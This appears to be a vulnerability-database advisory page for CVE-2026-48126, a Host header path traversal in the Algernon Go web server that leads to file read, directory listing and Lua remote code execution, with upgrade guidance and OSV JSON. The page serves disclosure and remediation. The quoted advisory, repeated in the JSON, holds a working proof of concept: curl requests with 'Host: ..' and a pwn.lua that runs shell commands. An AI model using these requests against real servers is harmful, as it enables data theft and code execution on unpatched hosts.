CVE-2026-48126: Algernon Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-jc3j-x6pg-4hmv
CVSS 8.2
CWE-23 CWE-644 CWE-22
Published
Advisory Summary

CVE-2026-48126 is a HIGH (CVSS 8.2) path traversal vulnerability (CWE-23: Relative Path Traversal) affecting Algernon libraries in the Go ecosystem. The issue involves host header path traversal in --domain mode reads files and runs lua from parent dir. Remediation is available by upgrading affected packages to version 1.17.8.

CVE-2026-48126 at a Glance

CVE Identifier CVE-2026-48126
GHSA Identifier GHSA-jc3j-x6pg-4hmv
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-23: Relative Path Traversal
Affected Product Algernon
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-48126

To remediate this vulnerability, upgrade all affected Algernon dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/xyproto/algernon fixed: 1.17.8
Upgrade github.com/xyproto/algernon to 1.17.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/xyproto/algernon

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-48126, inspect your project dependencies for Algernon:

inspect dependencies for github.com/xyproto/algernon

Analyze the terminal output to locate any version of Algernon in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.17.8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In Algernon, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When algernon is started with `--domain` (or `--letsencrypt`, which silently turns on `--domain` at `engine/flags.go:372`), the request handler resolves the served directory by joining the configured `--dir` with the value of the client-supplied `Host` header. The join is performed by `filepath.Join` with no validation, so a `Host: ..` header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any `.lua` file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected. ### Details `engine/handlers.go` (function `RegisterHandlers`, around line 510): ```go allRequests := func(w http.ResponseWriter, req *http.Request) { ... servedir := servedir if addDomain { servedir = filepath.Join(servedir, utils.GetDomain(req)) // <— line 531 } ... filename := utils.URL2filename(servedir, urlpath) ``` `utils/web.go` (`GetDomain`): ```go func GetDomain(req *http.Request) string { host, _, err := net.SplitHostPort(req.Host) if err != nil { return req.Host // <— Host header returned verbatim } return host } ``` `utils/files.go` (`URL2filename`) only sanitises the URL path — it never inspects `dirname`: ```go func URL2filename(dirname, urlpath string) string { if strings.Contains(urlpath, "..") { return dirname + Pathsep // dirname is trusted here } ... } ``` `engine/flags.go` (auto-enable in CertMagic / Let's Encrypt mode): ```go if ac.useCertMagic { ... ac.serverAddDomain = true // <— line 372 } ``` Putting it together: 1. The client sends `Host: ..`. Go's HTTP server accepts the value because `.` is in the URI host whitelist and there are no other characters to validate; `req.Host` is `..`. 2. `GetDomain` returns `..` (no port, `net.SplitHostPort` fails — fallback path). 3. `filepath.Join("/srv/algernon", "..")` cleans to `/srv`. 4. `URL2filename("/srv", "/SECRET.txt")` returns `/srv/SECRET.txt`, which the handler opens with `FilePage`. 5. For directory targets, `DirPage` lists the parent — sending `/` after `Host: ..` produces an HTML index of the parent of the docroot. 6. If a file with a recognised algernon extension (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`, `.md`, ...) is in the parent, the matching renderer runs server-side. `.lua` triggers full Lua execution, including `run3(...)` which calls `exec.Command("sh", "-c", command)` (see `lua/run3/run3.go:23`). Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects `/` in the `Host:` value, but a single `..` is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in `parent(serverDir)`. `--letsencrypt` is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing. This bug is distinct from the previously-fixed `handler.lua` parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the *handler.lua discovery loop* and walked above `rootdir`; this one stays inside the normal `FilePage` path and rewrites `rootdir` itself through `filepath.Join(servedir, req.Host)`. It is also distinct from the upload `savein()` issue (GHSA-2j2c-pv62-mmcp). ### PoC Build the affected version: ``` git clone https://github.com/xyproto/algernon cd algernon go build -o /tmp/algernon . ``` Reproduce manually: ``` WORK=$(mktemp -d) mkdir -p $WORK/site echo '<h1>public</h1>' > $WORK/site/index.html echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt cat > $WORK/pwn.lua <<'LUA' print("=== RCE ===") local out, err, code = run3("id; uname -a") for _,v in ipairs(out) do print(" "..v) end LUA /tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit & sleep 1 # 1. Arbitrary file read curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt # -> TOP-SECRET FROM PARENT DIR # 2. Parent directory listing curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head # -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ... # 3. Server-side Lua execution (RCE) curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua # -> === RCE === # uid=0(root) gid=0(root) groups=0(root) # Linux ... ``` Recorded output from a real run: ``` [2] arbitrary file read via Host: .. TOP-SECRET FROM PARENT DIR [3] directory listing of parent via Host: .. bytes=1278, links=1 sample: href="/alg.log" href="/site/" href="/SECRET.txt" [4] Lua RCE via Host: .. when .lua exists in parent === RCE === uid=0(root) gid=0(root) groups=0(root) Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux EXIT=0 ``` Steps 2 and 3 reproduce with default flags (`--domain` alone, or `--letsencrypt` in production). Step 4 additionally requires a `.lua` file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive. ### Impact - An unauthenticated remote attacker who can send a single HTTP request with a `Host: ..` header can read arbitrary files in `parent(--dir)` and enumerate that directory. - When `--letsencrypt` is used (the recommended way to obtain HTTPS), `--domain` is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in. - The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical `--prod` invocation documented in `engine/config.go:208` (`serverDirOrFilename = "/srv/algernon"`), the parent is `/srv`; in multi-domain setups the parent often holds sibling site directories and shared `.lua` libraries. ### Suggested fix Reject Host header values that contain `..`, `/`, `\`, or that resolve outside the configured `serverDirOrFilename`. The simplest patch: ```go // engine/handlers.go, where addDomain is consumed if addDomain { domain := utils.GetDomain(req) if domain == "" || strings.ContainsAny(domain, "/\\") || strings.Contains(domain, "..") { w.WriteHeader(http.StatusBadRequest) return } servedir = filepath.Join(servedir, domain) } ``` A stronger fix when CertMagic is active is to constrain the lookup to the `certMagicDomains` allow-list that `flags.go` already builds.

CVE-2026-48126 Affected Algernon Versions

1 component(s)
Fixed Versions:
1.17.8
Product / Package Ecosystem Affected Versions Fixed Version
github.com/xyproto/algernon
Go
< 1.17.8
1.17.8

References

Frequently Asked Questions

What is CVE-2026-48126?
CVE-2026-48126 is a security vulnerability in Algernon involving Host header path traversal in --domain mode reads files and runs Lua from parent dir under CWE-23: Relative Path Traversal.
Which Algernon versions are affected?
Affected versions include releases prior to 1.17.8 across affected packages: github.com/xyproto/algernon.
What version fixes CVE-2026-48126?
Upgrading to 1.17.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/xyproto/algernon affected?
Yes, github.com/xyproto/algernon is affected in releases prior to 1.17.8. Upgrade your dependency to 1.17.8 or later.
What is the CVSS score of CVE-2026-48126?
CVE-2026-48126 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-48126?
CVE-2026-48126 is classified under CWE-23: Relative Path Traversal (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.).
How can I check Go dependencies for CVE-2026-48126?
Run the dependency tree command: 'inspect dependencies for github.com/xyproto/algernon'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jc3j-x6pg-4hmv",
  "modified" : "2026-06-23T21:49:11Z",
  "published" : "2026-06-23T21:49:11Z",
  "aliases" : [ "CVE-2026-48126" ],
  "summary" : "Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir",
  "details" : "### Summary\n\nWhen algernon is started with `--domain` (or `--letsencrypt`, which silently turns on `--domain` at `engine/flags.go:372`), the request handler resolves the served directory by joining the configured `--dir` with the value of the client-supplied `Host` header. The join is performed by `filepath.Join` with no validation, so a `Host: ..` header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any `.lua` file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.\n\n### Details\n\n`engine/handlers.go` (function `RegisterHandlers`, around line 510):\n\n```go\nallRequests := func(w http.ResponseWriter, req *http.Request) {\n    ...\n    servedir := servedir\n    if addDomain {\n        servedir = filepath.Join(servedir, utils.GetDomain(req))   // <— line 531\n    }\n    ...\n    filename := utils.URL2filename(servedir, urlpath)\n```\n\n`utils/web.go` (`GetDomain`):\n\n```go\nfunc GetDomain(req *http.Request) string {\n    host, _, err := net.SplitHostPort(req.Host)\n    if err != nil {\n        return req.Host          // <— Host header returned verbatim\n    }\n    return host\n}\n```\n\n`utils/files.go` (`URL2filename`) only sanitises the URL path — it never inspects `dirname`:\n\n```go\nfunc URL2filename(dirname, urlpath string) string {\n    if strings.Contains(urlpath, \"..\") {\n        return dirname + Pathsep         // dirname is trusted here\n    }\n    ...\n}\n```\n\n`engine/flags.go` (auto-enable in CertMagic / Let's Encrypt mode):\n\n```go\nif ac.useCertMagic {\n    ...\n    ac.serverAddDomain = true   // <— line 372\n}\n```\n\nPutting it together:\n\n1. The client sends `Host: ..`. Go's HTTP server accepts the value because `.` is in the URI host whitelist and there are no other characters to validate; `req.Host` is `..`.\n2. `GetDomain` returns `..` (no port, `net.SplitHostPort` fails — fallback path).\n3. `filepath.Join(\"/srv/algernon\", \"..\")` cleans to `/srv`.\n4. `URL2filename(\"/srv\", \"/SECRET.txt\")` returns `/srv/SECRET.txt`, which the handler opens with `FilePage`.\n5. For directory targets, `DirPage` lists the parent — sending `/` after `Host: ..` produces an HTML index of the parent of the docroot.\n6. If a file with a recognised algernon extension (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`, `.md`, ...) is in the parent, the matching renderer runs server-side. `.lua` triggers full Lua execution, including `run3(...)` which calls `exec.Command(\"sh\", \"-c\", command)` (see `lua/run3/run3.go:23`).\n\nMulti-level traversal is blocked at the protocol layer because the Go HTTP parser rejects `/` in the `Host:` value, but a single `..` is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in `parent(serverDir)`. `--letsencrypt` is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.\n\nThis bug is distinct from the previously-fixed `handler.lua` parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the *handler.lua discovery loop* and walked above `rootdir`; this one stays inside the normal `FilePage` path and rewrites `rootdir` itself through `filepath.Join(servedir, req.Host)`. It is also distinct from the upload `savein()` issue (GHSA-2j2c-pv62-mmcp).\n\n### PoC\n\nBuild the affected version:\n\n```\ngit clone https://github.com/xyproto/algernon\ncd algernon\ngo build -o /tmp/algernon .\n```\n\nReproduce manually:\n\n```\nWORK=$(mktemp -d)\nmkdir -p $WORK/site\necho '<h1>public</h1>' > $WORK/site/index.html\necho 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt\ncat > $WORK/pwn.lua <<'LUA'\nprint(\"=== RCE ===\")\nlocal out, err, code = run3(\"id; uname -a\")\nfor _,v in ipairs(out) do print(\"  \"..v) end\nLUA\n\n/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit &\nsleep 1\n\n# 1. Arbitrary file read\ncurl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt\n# -> TOP-SECRET FROM PARENT DIR\n\n# 2. Parent directory listing\ncurl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href=\"[^\"]+\"' | head\n# -> href=\"/SECRET.txt\", href=\"/pwn.lua\", href=\"/site/\", ...\n\n# 3. Server-side Lua execution (RCE)\ncurl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua\n# -> === RCE ===\n#      uid=0(root) gid=0(root) groups=0(root)\n#      Linux ...\n```\n\nRecorded output from a real run:\n\n```\n[2] arbitrary file read via Host: ..\n    TOP-SECRET FROM PARENT DIR\n\n[3] directory listing of parent via Host: ..\n    bytes=1278, links=1\n    sample:\n      href=\"/alg.log\"\n      href=\"/site/\"\n      href=\"/SECRET.txt\"\n\n[4] Lua RCE via Host: .. when .lua exists in parent\n    === RCE ===\n      uid=0(root) gid=0(root) groups=0(root)\n      Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux\n    EXIT=0\n```\n\nSteps 2 and 3 reproduce with default flags (`--domain` alone, or `--letsencrypt` in production). Step 4 additionally requires a `.lua` file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive.\n\n### Impact\n\n- An unauthenticated remote attacker who can send a single HTTP request with a `Host: ..` header can read arbitrary files in `parent(--dir)` and enumerate that directory.\n- When `--letsencrypt` is used (the recommended way to obtain HTTPS), `--domain` is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in.\n- The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical `--prod` invocation documented in `engine/config.go:208` (`serverDirOrFilename = \"/srv/algernon\"`), the parent is `/srv`; in multi-domain setups the parent often holds sibling site directories and shared `.lua` libraries.\n\n### Suggested fix\n\nReject Host header values that contain `..`, `/`, `\\`, or that resolve outside the configured `serverDirOrFilename`. The simplest patch:\n\n```go\n// engine/handlers.go, where addDomain is consumed\nif addDomain {\n    domain := utils.GetDomain(req)\n    if domain == \"\" || strings.ContainsAny(domain, \"/\\\\\") || strings.Contains(domain, \"..\") {\n        w.WriteHeader(http.StatusBadRequest)\n        return\n    }\n    servedir = filepath.Join(servedir, domain)\n}\n```\n\nA stronger fix when CertMagic is active is to constrain the lookup to the `certMagicDomains` allow-list that `flags.go` already builds.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/xyproto/algernon"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.17.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.17.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/xyproto/algernon/security/advisories/GHSA-jc3j-x6pg-4hmv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48126"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/xyproto/algernon"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-23", "CWE-644" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-23T21:49:11Z",
    "nvd_published_at" : "2026-05-26T17:16:53Z"
  }
}